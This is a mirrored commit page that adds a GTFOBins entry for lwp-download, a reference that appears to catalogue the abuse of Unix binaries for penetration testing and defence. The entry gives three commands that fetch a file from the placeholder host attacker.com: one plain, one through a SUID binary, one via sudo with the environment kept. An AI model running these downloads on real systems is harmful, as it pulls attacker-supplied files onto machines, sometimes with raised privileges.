mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-26 14:59:44 +01:00
Create lwp-download.md
This commit is contained in:
parent
a0132156fc
commit
279824d588
21
_gtfobins/lwp-download.md
Normal file
21
_gtfobins/lwp-download.md
Normal file
@ -0,0 +1,21 @@
|
|||||||
|
---
|
||||||
|
functions:
|
||||||
|
file-download:
|
||||||
|
- description: Fetch a remote file via HTTP GET request.
|
||||||
|
code: |
|
||||||
|
export URL=http://attacker.com/file_to_get
|
||||||
|
export LFILE=file_to_save
|
||||||
|
lwp-download $URL $LFILE
|
||||||
|
suid:
|
||||||
|
- description: Fetch a remote file via HTTP GET request.
|
||||||
|
code: |
|
||||||
|
export URL=http://attacker.com/file_to_get
|
||||||
|
export LFILE=file_to_save
|
||||||
|
./lwp-download $URL $LFILE
|
||||||
|
sudo:
|
||||||
|
- description: Fetch a remote file via HTTP GET request.
|
||||||
|
code: |
|
||||||
|
export URL=http://attacker.com/file_to_get
|
||||||
|
export LFILE=file_to_save
|
||||||
|
sudo -E lwp-download $URL $LFILE
|
||||||
|
---
|
Loading…
Reference in New Issue
Block a user